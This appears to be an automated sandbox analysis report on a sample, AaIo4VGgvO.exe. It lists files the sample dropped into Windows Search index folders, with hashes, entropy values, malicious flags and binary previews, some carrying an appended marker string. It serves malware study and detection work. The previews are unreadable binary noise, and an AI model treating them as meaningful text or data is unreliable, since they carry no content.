C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3c0bfc12-2764-4044-ad15-d4833a01b073}\Apps.index

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542541642352774
Encrypted:	false
SSDEEP:	24576:bqo9TYfoyFxz8GfoLr7YfoyFxz8G21itW:bqo90f1xz8GfMwf1xz8G27
MD5:	F915DB97CF1A7CD5E4232D48FF5783E2
SHA1:	A3B51C329A3B483B03AA0487F570B9929A1BEF3B
SHA-256:	3D1CC9A68293BBE54E3839DD4E2358D2A3C14917A94EF5A86BA45E93AF05A90D
SHA-512:	69BEA9459EF5FAFDDD60DFB9E345DF1A29A346DD97DC5AA97C6265A23EC9679A13B7713D41AC5AA4D438FF1367A5AA4AC06F0AD8DC995BAE4095B658ACE4E61A
Malicious:	false
Preview:	Ej..D7}...kg\|(-.$ZS'jh...CE#...xc...j!..&...bNk.q.q.r.....i..X.(...S..G..T..S4.....>"..&.W...&......6n...tv...}w.R.X.e..sV.n..U_..+.$O].)q..t....\u;..@..5.k....#.....qK.d=..._.w.N.{...j...w).\.......Hp."G...i81.w\..b...bq<g....p")..... L>.2....k+.....h.L"......{.;2U^I......].I.t..+Y:.T.t..e0..H..<L.......C...vx.......z..[...J`....G.x.E...^../,M~KK.?6.qa.#Nqc....O6I.x..0.\|.j0..q4(.f..c...U.$;F..pR."......t.....f.7.@Q..MIC{...H..O.z...w..!..{.L.<..s..!H..a..(.6.:b,.7....C.02....Fd....6O.fA......V.Eb....<..}_x....l.<...a...MA+..}N.. .ua&...l}.V..L..'ruI..... rdQ....ou..@..5..I..3e.Kp9....@8X...u.......Q...[...C...3.p....K..m.\|[+ .p...F....h....[.....D...p<5."w...{.$^v..8..r..:..DR.x.8../....NWC'..S..V...q. ...>.>z..mEn.5,.Z...{.a...oFo-....R-...r....&.{.Uh\.$@.....Fn.*3......H.e3A...7E.....Z.G...J..H.g...b.cQ%...\6.......g5..S.EQ...#.W.....=A........G.0.o.....zRL$...w...(....i.[.@d...n.Gw....)sEu..y1...D..!z..'..sHX.7.H6..g.p....d.WG1C....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.csg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.7267347201607794
Encrypted:	false
SSDEEP:	12:dH85mxzs3S/phgPdMGyJLO1hT0G7U6+CLogx2tAzj2j0Aic+whHr8A8buys5CVjT:9z5Y4gPSJeTnp+5gAtAzVxMvyvVHbD
MD5:	6F3B073058D2807A93BA5685D873A716
SHA1:	6A3744C047845EE92616390B35A0E3C5CC21E3C3
SHA-256:	67662B150D429BF85762209DBCC042811D194274AA0767C10BD096352A688172
SHA-512:	E6CA40CF254172147CBE3ECC493425B9845F4DCC7D893A17C7B81620B427A7398E6C36C348CD984A8D33BD445DD2A7BD800CDC304DDAB55AFAE7CE9B7132BF38
Malicious:	false
Preview:	......nV..6......Pp3..z...p.O.....G....q~D.x..s..vH....m.R..g\.k'!..._.......;=..Z......k]....A>..s.v.:.a.i..&i=Cg7.[_...+..1!.`~Pih.f*...^[...\|?...L......G.n....55"V.Q.j.6....b~...L.J.$+.:U{c/R.V..;?4i6.K\|+..Wz.c...]i...~...c...........`...D..4..'.<<I....a.yp).x....le.s........W.\|PM\|..<...qP.O.......e....OL...3.V..a...6+...yJ..,.....WR.d........FlV.u..c.I$R.b`.y..1..EO.._h.e.D......@.?..4..Q$..ty..2.o.....:M.>.....~..;-D".$.D"z..E...W_:...8?y...................`..i".{.....$#j....M...%.r.....?:..\|.U.%Z. '.G?..2....o...[.;@.w..-...R.0..[.Hx.........BZ3....jz..>.t.wU..m.H.".z?g..1Z.u..i........SYsO...........#6j.z(..W.8.z.....-.E.=..G....E,.P.d.N..x...bSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.schema

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.458816489091648
Encrypted:	false
SSDEEP:	12:jBlEnaNUPZ41lyf3fQvTSCj1ELGOBwF1+cii9a:jBWnaNm2Sf34vf1ELBw+bD
MD5:	0BB5F89164CAEA1DCB65E5EAA8BCC40D
SHA1:	9168BE40D54F086C9B900E628B12259A26288E34
SHA-256:	B81C20DA9D077EA85456EF01D34D8B2EFC6899B0047CA647A31EC5D9A349F6BA
SHA-512:	15E80B920858F7E9DAA368FFE5443965C1E554CFEDF239D75FC52B552EAE9B73D6292227EE9CDDB611EF9A7CC2ABD428A01B1A109530CBC4DFF5CBEF9296FE1F
Malicious:	false
Preview:	Windo.....g......J..3w...\v.G...\...?.t...%TM.a^s0o...(...Z...... RB.W.Q8N....Dl..D.&3J...~u..._}...c..\..V.j.d....Pk...3.Z....mpD....ap..:V..'$Z.)....!..w.?.Y.LW..n".z..5..n^oL}..pN...TV<.i..k..>.V.,....^z7. J...R.{.. Zg...'~..~...4..j......rj..D.2...K...=y...9..s...MRv. .im....S.Nmc....].Y.i..S.m.o9c.0a`H......6sh.cW=v...x.-.ZK .5.t.7.F...W..mtw.t6.....&....&a.^.v.....Iz.C....+..D..W.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.415234425452694
Encrypted:	false
SSDEEP:	24576:XHKS+1DXn5Mjdr9yEKzC79ufKZDXkmn63mlDEyjMH:aSSDX5MVD4P
MD5:	DF9E884C910EBE544BBF8BF46B3E8442
SHA1:	94F5E0F5EADCDF04777750E73A567BF2A6CFBDCB
SHA-256:	C31B2CDA9D5F611795EA7B0B604894D0BED58C6140705173A70593CBFBED0295
SHA-512:	C4B36A06A3B98E5C9D02E322070887FF5CB00110C69442BFD96D149996307B7D20F515EE940C5A44E069B90FAE6A73E30539D1527C21681CA3C329A83807BB48
Malicious:	false
Preview:	marke...o.3L\)!c.\|Z...P:F..[......jG9..L....;.X.k.....N/-..C.6(.7..6`...@...T...r.'s.? ....c....eM[P3Y...o.......hBA.Z%.. jW.n...g....5.Y..J....n..rK...H..p..gpb.(V.Uy.t....@:............E...+...`.,3&.....I....fN.....f.L..~z0..Y....).'...0..............9>[N/....e6..I..).k.H7.%#y.3&.;~N..K..0e...[...a.u......yD.... 2...I.WW....N...x.Y.0...a.%...9..?...l......RL...4.,+:..}..5.I..... ,. .3..Z...A.H<%.Eh.oq...........@d..7i2......_...[I.....-.t..T..U.J....q.........#h..f...........!.=..I.X...v...BWW..6.9<.....A%7....n..w....AP#O\|g.\|.............S.<W....1....gw.g..7.S. Z....Zh.4...!b.A]Y..=...'..j...\...aa.f+j...p..=W..:....SUv....\|...Tg.F.q...x..>?....P.6k.........~....,.A..2Ym...A@.%..ao#V-d{S.Vq../y..dW...g..FQe.\|).zxg.`.Q.(..8..NY....O.i.i5F......W..^...K...P....Ca..8L.z./..!.=$O..(b(.X....T.~...]V1d..L.....,..M.<G..&............_......c...d1T[..(....]....zl^e.F.,...J.&2.:k.\|k..=.!..h...z.Oy....g@...1.K.......l.H{..R...f..w..l@\|.O...;.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.227136841757015
Encrypted:	false
SSDEEP:	6144:qDHSDPGcI84qtnyRBfVQ8E7Z2x1YL6hB5PsqCfW:qDyDOAznaFpmqiW
MD5:	B8FE410896E63D530269372E57C0F4F6
SHA1:	CF09A417D3EDA22EF75F3BE0B007F86E6252221B
SHA-256:	03FDC4973A05C92787F81C68C0099C803808624D8F1F6109B9DB4220C21F3FB3
SHA-512:	538F211AB5FFDC67AC771BBEBD079F80A1483A51CDAB9EC917734CF18A011C3C27D46DDE27EDF4922899FB8DCCFDEB21966D2307D14472CB388D21E64EAEF0AE
Malicious:	true
Preview:	{1AC1B....ZQ..01.U0.#.....M"a./:....x.e...>F...%T.v....&.oo...I.R<'.7....9s....A.U.#..Q....8..I...^....z.P..........-..l.V.....G##....t.........')?v.^D..I.\|.0...../..ZC.......UQI.)..k.e/.`vn..Dw..j....Q...J.{..s`@.?tJuX..qi7.4gpH..'....(........-...%....z....Y....k2.L..g6..(..zL...G?.b.e....../GN..A!&4.'&YI.....<........o......v......l..`LgGH.+P.N3.T....l.^.0....`....}.Jkl1.D.K.@.Q.!./~..h.]..U....UY.f0De....p.......Y.'.I.fw.2....A..r.%^_NZF...u......$../q...U\|...I..W.sH..t..I?......o...#../..^..D:q..i........)._O.I.....e......Z....\..J7Q.7"....)P.:..Hk..qj..l....w......uL.=.....g.w......f.......s~j.....q-.2..3...f.hg.i......Fd....2.....UI.7`..1..N"..........}+...(.5..../.c..,...0....`.Uh.....q.e.Kk..P..t...w.....T.0.1%lw.mLYY.....<..\}.B...z.q..n.....3..U6...(.xD.<......nl]Zx.,9.G8 ..m.a...Wm..9...%.H.ds...}P..<{.5..ndZ.......R...A...U..x.e.b.t..j..l..O..65..L..J.`.2..~...J.9.FHb..F...O2.>o..z.r.../.` .q:D.L.....X.N..{.......f.J.V

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.512951667966517
Encrypted:	false
SSDEEP:	6144:bSe+vDpsRx161cE3OjzP2GdasCyXFePKT:beDeBIOjT2GQyf
MD5:	630F47D314C88BE190B8CED581B8FABB
SHA1:	202C46875B873BCFC5FAD4CF575CCB82DA2F1258
SHA-256:	5B924DEC72EC6E6DAD06E4BBD1B713540659586A1139CBA5D96AD0601905810F
SHA-512:	D7CB701982BE3BBBDA01630D72ACA84686BE30A1FD21F2C7C21FF4686DAE090F42B594CA1A0D6FC3DAA6D70210B54A4A684FA78289AAE05A088E87BF8CDA22EC
Malicious:	false
Preview:	\|.\|...F......=\.Yp.c."h.H?\|......!P5E3.].0....Zo&...B......}.......W8......D..Ty.V.._..5..\|.."@g.[..#.}.!.....F.W..LgUW...V./..`).....7c.......D.>..M..:.HB..8..+.~T.\|b.....I.g....v.`.w/.....\|.C"..%..^Q.BH..s..1..M.M...8-....9s....Z.+.%.{.QQc.0... .......-.o..[..x...#..p.."........0-B......T.v......@...;.t.0T.L....F.a.....t.8...8....{Y/......Vf>..@.XK.....L,..].%..d..<./..p.h.m6....:i...pZ.w..+...!.VJ.S..BdN.v...6..{.<...V.V...c.</./E..ux...-b..S.hh...3..\.S?c.c.mk./.'..6%..(.3.....W.n...e&5S..i5..8`j.....s.C....=..i;~.0.+....[f...Y.......%...In...4.......3..]...w..D.#7]...&...0.._.~E..R18&...4.......q..Zd.Ju....j#....$.2-{.........+.zSr...;aP%.e. %H......(....&.G...Py.v?.....w.....+.i3&.x.).X.4.. !G9m..&..w..c...J.D......+L...2G....6..B..BH.<a#BW......bBf.}d:.h.S...K.DB..30M....?h.N...$A..r5...&......r.8..V!.1G=.Hxd..R@P#..~........{7~ .a=S..x...s.".......3.U..L...\|{......Z"U..Y. .[....._)58...\|}E.H.......k.....9....:QFa.....\|.. \.+.=....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.csg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.694767475811301
Encrypted:	false
SSDEEP:	12:6I9rDmM4te+VQZIAho1BWUtlurihEaVYbBxzfHdvrg3fQ5nhf1AfuoozWe1+ciik:JBSXXyZpKuUEaezNgPQ5nhNfqVbD
MD5:	A78097B5EB232D2D32A8271EF4844E6F
SHA1:	7CAF0AB68DE271ED393ADD3DF0FD2FF9AB0E2EC5
SHA-256:	DB1D0553EB6D67CB3F9F3022CF33E2E302F8F2F1397DC9C8C806DC2889AC2677
SHA-512:	D2C4F899D3023B2540B9B6770276DCD00F35F2FBDE3982B4057DCBA90FD0B853EBF0E88D153CDD4E2D572EEA96CDB19BA05BA49EB833781A538B997F17A5342A
Malicious:	false
Preview:	.......R1Zr}$..h...>..V........Q.14......8.....d..i..z#z.a.E../..P.A..(./D.0.B...6..,;V..w.\..WT....m.-.}.....e.Z.....SC..Dh..E1.......OH........}...C$.(@c.>..'....M............l.<.....S.~...I....m....,...-.\|g.av.....r.~q..+.W..z./..~KL.)..I.Hna.......T.0.I..2..^.F....T&C#.71.U.5P.M..".....U.5.h..]p.q.u..H....W....+.._\..Q...K..54~s.....lH&..E.I>.I.]..;.J.\o..... .......+~.h.a={...o<.:.....@7._V.-d.U.Mx[.......O%wI...5.1. ).n.e=..>.^a.t......G.q....H...cwZr.4.,.S.~7B.8..e1NI.#..(.Y.nk..M.C./...d..h.:....B..S&.%@-.6Q..%..T.....7Q.<.=.X..K...gW...(h.p........).U..r..c....B<...g{.]........,.(JPA?......i...Z.Q..x.9.~;.l.KV&...S..Vn\.K....)..`..O?_......_....Za...{/.<.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.schema

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.496291751566206
Encrypted:	false
SSDEEP:	12:jBBJo+kNcc6AnEYixLBZv3T5ozE31QqBXLKH1vc1+cii9a:jBU+kNcc69fL3v3T5cEF/KRXbD
MD5:	16A6D2351E30123303F94929DF550AA2
SHA1:	C2DF765F302A03F345CBB19C5A75351CE6FD030C
SHA-256:	6B1DF391ACEFC77932B697FA533713A653306FC79DBBBBDD8496B98860CB1D3A
SHA-512:	AF6D036C06DCC601E18E9C61D734144439D223975E360BC3D76430D11A51B82445B31ADF6566ABEF0A13E0A581A0156D2B594EC2B40BA74F56223841A99683D5
Malicious:	false
Preview:	Windo.3.a.....g.W....{.W\|[...,g...V...n...H.dZ..g...Z...._.M...c.[..m4.K9....g..ZS<...h&.\|"..M}f.L.....=.(./.$..^.!.l.?.=d.._.<r*N....e...3..%9.........m.....E.'1..p3.P.&.N....@CL.F.l.l."..V2...r..__..d..z..J.....f...&.5.Y.6.....z..}.....a~...g.Za.qX$z....S.....,.).d...k....5.....X.....l.I.....f.?.x./.~1.l:4sd.A..<_....g0O...rn.....0.n......\:.....z.'EH..l&52.....U.....E.Qb.P .c-.gc.3.P.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.2572575743476175
Encrypted:	false
SSDEEP:	12288:zN8aBJ9f8dEbxjiuTsP583eAMwQknzBc3:zN19Ed6eG45epZ6
MD5:	C253202CB3C0166897AEF7D605B30BAA
SHA1:	1583C9F1E523BB98AA4B15CB8E5CF427AF8440E8
SHA-256:	264304ACACC5790D0C54ED195E61BFB4EB9D8E4C9B08DEE9791ED792901CF0FB
SHA-512:	0D31FC30EBBDC9FBB8E911BBBD9E4FC0CA654AB93E735C5E542B65A9E7D1EF93E72F83E1FEAA723D6CE81545CE3627731E1332DFEA225F7AECB21A6F1C8188B1
Malicious:	false
Preview:	marke._....%......Z?.9.%X.T.[...HuD=.r....6=. H.,..o.;._.v...E....^a.=.J.h$..l.o]Rk..o$......6.X./.G...h...;.&...0.f....._..C.8LA...hI.Dy..Ng.i.@..e..OyD#+.m-%.8Y..f.!.i..a.c.j,...Iz.u.6..(.I..$..f..RTPw.....#.;..dP.R.d... F(...3.B.S.\z8.z...e.6.]..S%.U'._.j2..w.D/....AH.3.7.p...s.+r.....5....PSw.....A.W......4..U...:..,.UO.(!q.:U...%...&Y{....<Q: ..\|..\.@....5..2t8......fJ.0.t#..c.ob@.Bl....@.D.9.Jz.Nac/h............../.Y.........&~...L..&[....p.e....A..a...LB.1Kq.....(.FP...x....X.ft.,...(.?..\...VRQ}Q]...,..\|..R..O-uJ0.d..............uv.\.....``...f.=......G.D..+.....P.O.b.d.[....Co..M]........X.b]D.k.k...D.W.=P;.RZ<..c...6%/bZ.g...&.=2....4......./Y.]lY..?.oP........{...J._..P..a:................0"1;Rjm.~Jy3.......(.........4.Y.sBR.U..^.S. [?.Hi.c b/_y.\|..Y.o.[.s5'.)..R..l....4..}..{^.C.._J.T.g}..y...T.e:8.W.+`.!g<..[..\.8.0.{.!mz.?..........)..F...W.....J.8..o.q.9j...1..2,.......`..].BT...i-..+g..'._..Y.y..M.......3.8]\......p:r.X..U.C5

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.9961495790411155
Encrypted:	true
SSDEEP:	768:K5R6uktyrgsecMto1bVBwWP3pCZOD4n6fU4D8OeJKBrL0b6R62S5tLdlahOi1LYH:KpktUe21bVBwgCDnS7I/YV4ilSzL3ILK
MD5:	C5F314E484BC62B883F0AE5C23992F0F
SHA1:	297623DCC8DC45A677D48FF3D54F5964EFC0E3CB
SHA-256:	8C7D65D5E0EB4E5A7F9206DD68A464138FD6EA953C7F668ABBFCC8E105C98D70
SHA-512:	9AB2D8BF328BB597BA2B4EEEDCAC95AC5C9E5EF3A07950B8B896CF4457E6F77F4227BD88C1D2946E1E1F6A113AF151A24465D4034EBB626E1F9B1717ADE6532C
Malicious:	true
Preview:	AAA_S..$. ...z8....\....Xo.<N%I......E..w=LBI?..&.2..-..H.(2..G.(....L.#...z.W3..T....q..;..I..OUl^....W>m_.FH....4of2P.p..Vr..\|..a!EE6...R.7.R.$..y....=^...%P...]e\@..BC..w.-7\|P...;.....t..3w........2,rV....;...V...L2.......Tn..0...`.D.J~..;......5.{...m.L. .....[ao$..........~....'.i;.%......)c.Xu.....o..aQ...u.BzZT...\..t..V....U...}.BD.h..v........{R..56M.vs..<&^..SJ.{...46....5.Ft.F..A.geW....)............B...d....3.=..%S..%R.{......x}..U...P.......h<..?..../..~...>o.}.nu..o._.y..l.=.Rg.E.BJ..?.av;...)Q......^...r.....^C}R.L..$./ Xjk..Z.'U.m...............U.Tb.....d...iuw{.kc..O,.3k6pt?,...).$......&./D..:`.0...J.@.j..IB..6:6r.d........Q\]2....]).'.Q-.:q..\...dZ..w22'N.Q5i...D..{KY.7..OpP......m.g....n.##.17.2.4.TX...T.u3....(..b....x...aaI....-..F.....Wl.Hjx)0.wU.+4nUG...!.....(.@.....t......!...z...1.~..j......{..k..s%.^2....."........+.z..#.3LEN...3j....@..m..8.9H&e.F...5..@%....!...L.U...n{^..Gq7)}.gU. ....S....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998094492648125
Encrypted:	true
SSDEEP:	3072:aSnsYoFqsdjbVVNqBSRfcSCLUE4mRkRORMTuRM9N53LL:dnsLbVVNqBS9cTLb1RSORaEMHV
MD5:	22BC3740E9D71BED133A606BC1455B39
SHA1:	6AFF5B0EA0DB174E423D1B0AD4948D42B52F0F98
SHA-256:	BDD171B07223A8014312FDD540E543996E5F16C4F2D6B26818BA68F43C1FA746
SHA-512:	D587486D16880ECC445F3C1683E745AD36EAA6599C965D3CD1749A36BBB64D324B586F841C4431E822AF5B9B9DB692D04BEE917A881DE66E3135F90E4A7870D8
Malicious:	true
Preview:	\|pri.QE[t....f........4...........,.z...,\ [.......=l....".@.Zn.1.4..^&ws$.}....$%..x"..x..a...?F..Y.v...t.m....@.......<.T.$.\|.#...E..<..4..9xS....F@..%...yc.w...T.q.].1.5O..-3.$......o.&R.{.hl.8......K.9.&......x...c}q.......X..s....iA4.......7.8.l....-..d..8$....C....l..rR...S...\|...IffA..y.<.<......]...p.B..k.#.TN.mV.p...j...v...i.g...Cz..l.u.[Lo2.Zo. Ru...;.s.$....A.........z.X.%.CL..JE......-.........v.sq.5.A..5.)...Y..7....b.o.B.PU;(.. ....B63...W...\e...K.xY......w-......H0Z.BFC...%s.(..CghTH.l.5......\|.c..9.p...o..........)`..z.......?.....y{hn.Bk>...E._T...M..f...i]]...Z..Z@.CW...Z..^...w.2.E..F.. F...4.......+%.Q.Y...K..P.KLhK.!.z.......~.:..[...t3...@...]uB..}T0.....,..pW=.U..^Z...>q..-nR..@.=;..b&]q]..5B.V.Z+...\..j....j...U..]q../.0..s..'@.........V........z...Q.F.%...TA.Ag..,.&;.[.w..d.t..cS.x....v@q.1...vM.e..[.:.a9.).f..._...Gf......h.........oW/>..r.oi2...p{....C%...sK....]-.v1..hW..o...RL..\|;wz]..S..lk2.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.5823947242189185
Encrypted:	false
SSDEEP:	6144:yfu+ZlK1t3Bg9gPRHdJLsat4ZBJ6L0hGjCxc81CdU:uVrK1t3S6RHdJL860hf
MD5:	866C9ABEE989876EFBECF7551EC58F24
SHA1:	B7572648446201080D28040511F8BACF5559CAA2
SHA-256:	321CA9A30288A923C25F5C4B9EF929422CF6867A54C1EB01467A4836620338A1
SHA-512:	FDEA1FA685745F0EA1969F1544A958CCA4B3D98206399411D97D4DECF56AB4793BE77FB6F0DD2BEAF39A17B4F1CC9620BB7B39A114EF26D87D14EF6182DC2E30
Malicious:	true
Preview:	0.0...@8[.8.xy..p<Dm.'2v._.\4y;..4T(..D..A.\.......2N<...m....m.Q..-.#So.........e...~].%rn...w.a/].#l.N..?..P.....s..;o.V<.B.T.\....Gz..:...]k.6^.b...j.8.....pM..O.S.C.QC$.j.).Mu.m..w...R..P"h.......5.....'v[...f..u...Pz..?.:J ...'R%~..G.A.:.i...x.8.q .v#.:........J.,.@F6.B).........P.0>.N...0O....A.>...6...j4.F...~B...~."..+.&..\|m........._...qY.(.."...O.....J.aj...J....F.~.w.......T/....8...u;'b6....z.....q....}....S`..&,w....>....&I...X.Lz7....:..r..K.Y.#.l..P..Z..5....P)0.K.5.:.W......Ba.9v...).G....~..^=u.....x]Ee.:..k{W......B....?\|.q.2.!5.....O#..zw.BD.]..t.....#...!.~f.p..M..-U..ek.)...3..[.T.)FxFO.3W...Sa..Rz....x.$7....S...?>+.Q..%.1= ........?.hY...=.'.f3..T..9U..H,0..Ou...I..,u...rs..W#......5{P4^+..........~;.M=..B>-M....J.$....A.R.-fK......m.....F.$E....K....O..O...-_.P5.TB.....NP... ..B .........d+.A..XP.OBJ.....q)X.....Mb..\.._u.01.?.y=T.,.......6.}).'...1.....a)}..%.D5..r.;.50b._qU..P..^R.#..XM.U8Tp.L.7#.o.z........uw.Xr

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.351603535821049
Encrypted:	false
SSDEEP:	3072:MtTuTAT2CtG++A9KpmujJFsQbiZ+tkih1mozHvMx5y3gO1ilkyOcC9ECNEFME3bN:U9//KlbHtxLHvMx5y3rilkytCN8
MD5:	09D9111BC5AF44CC354204532708F125
SHA1:	A288715D96A9379EE609B35188CEE66F2753AF0D
SHA-256:	0D28DBC6D3676BDFE5834F0D1619435DC9309F49C567BEDB68ABEFC8FF65D6F8
SHA-512:	547E7CBF79608D39C74C219A260386C3B8C1FD7CD4207D75DA50139688519914CD41229254970723A8F4B40B379DC3ACD38C65E42879F8C37A93F901AC49BFCB
Malicious:	false
Preview:	.....C.:..k...i..(+$....#....qoJ...^..sS.S......W...-....^...&q..m._...5...t..eC.T..1)...j.~.#..ly,..i.u...F......]..O]...$.Y...r.."..w.kuI.....Q.\|W.X....)..}..k(.=6.]...L.g.`.u....V$E..........'.....:..D.&h......H....kk.S".A#.....A.N..qK..:.....b......Q=.7...R..U.rWu.Z<.<.......`....D(.H..-^[..g._......m..#.(..6...r....Sc..j.-K.4\|..D."g.<.g......AA7=..w.....7...o?..>'~.n..Q{....e.{./.P.6.V`.@M.`K..3.......>...s..{^...J}.A2Z,.q}.O..@./....xBTs.s..~..............ga......6QB.........).$.p.?.!.C..@....^.R.n..b.......s%...I."X..,..uyI.......&.r....y..\U..{.#...R..J.P...l.l......C...2T...i.ix......h...l"..k..\T?...ygQ<.!.qq.&vv..lo..D.b,Rgp.<......J.NAj..h..4..8..C-...}Yho.......X.a..1....Q...(....k....%y%_......W.5$.1q.c..0...T?...,T#.i.mcF..[Gw.k...MzkUI.\|.>Y.&.>..w..........."..P...W}V.....$R..T..L<...&.YUt...K.{...T..nP..@..7u..&.....iZ..;T((...)[/...I4.h..\|M...r#.Q..}.H+..J..2.V.:*J9....k^...".L!%....gn..&.X.:".6b}....'.ex$h.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.index

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658053234524923
Encrypted:	false
SSDEEP:	24576:3oFBOH2ijt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSur:3oFBOH2kCF8hR3z1rM3lVKSur
MD5:	1681A3D8CDEE61F39ED0CD5C102FFCF2
SHA1:	419F415D85EE81ADEACDB5D0FF802F03FD3A9D25
SHA-256:	A2A3DB44AE77CF3F30508C12654EB6866FD541F74BD208B62FCAB54E03F33CB2
SHA-512:	91CEAC6479C3DCF25D80C3747327642F0D1089E8F632F2EE747BF089CF22515A93F04943514C2AB74E023636B702D29C6E551F3D5B71FC996E4F80317BF7A2A9
Malicious:	false
Preview:	Ej..D.f.^....82X..DR.D...UmI.hF.../g...!y}K....n..&..l..~....J.j..-.i[...=6.x...:0.;.a.a'...K.C...N#...]...d..>.j.nAE.[.f<......n.2O..l......pg.1....>EZ\.#q=.j..\..%...:=8..c(.x.0:PgQ.I.].W.N.D...c..0~..K.DA.8.,...`.W.x..Lu...P..o.';..p........#;...k...=v.I....~......E..U..>?..J..M.r.L.i....C.2.^{............'....^k......<...vf......a...<8...#..~bg.5-.1.&.. .&k&..~....;...[.....%7s.B.-iZ../v.T..7.E^...A.V.Y...V..j..q..D.{...A......$....Ub...9...w_..Z>.......o......F.G..TW..=<$#$.g.\|..X..0....Ka..9..fr..a....Q..I.)2..q....y.#.;}b..-.]J.O\|.B..W..=.....zm...u......k...&?u z..n..Q.....).J..T+..u..O-.q+.Cd.J.>..KQV......C;m. ...-.. ....ocH.Nm.4....d.H...'\|{.sN._%t......a......{Y..5..Z....>........P.RD,.....].X.?.e<?...X.... ..)!b:.~]...kc....[..i.e...dN.1....P....d.v.....?.~.........T.'.77..9^.5;.+.-0.}U.....$[..\Ar%\|........d.m.0.j.&..........]..A8`..:\. ...v.{.O.,.....[..d_.4oG.p.?u.v..S..4....E..iI...V.v...a.......[D.A6^..y..+Q].

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
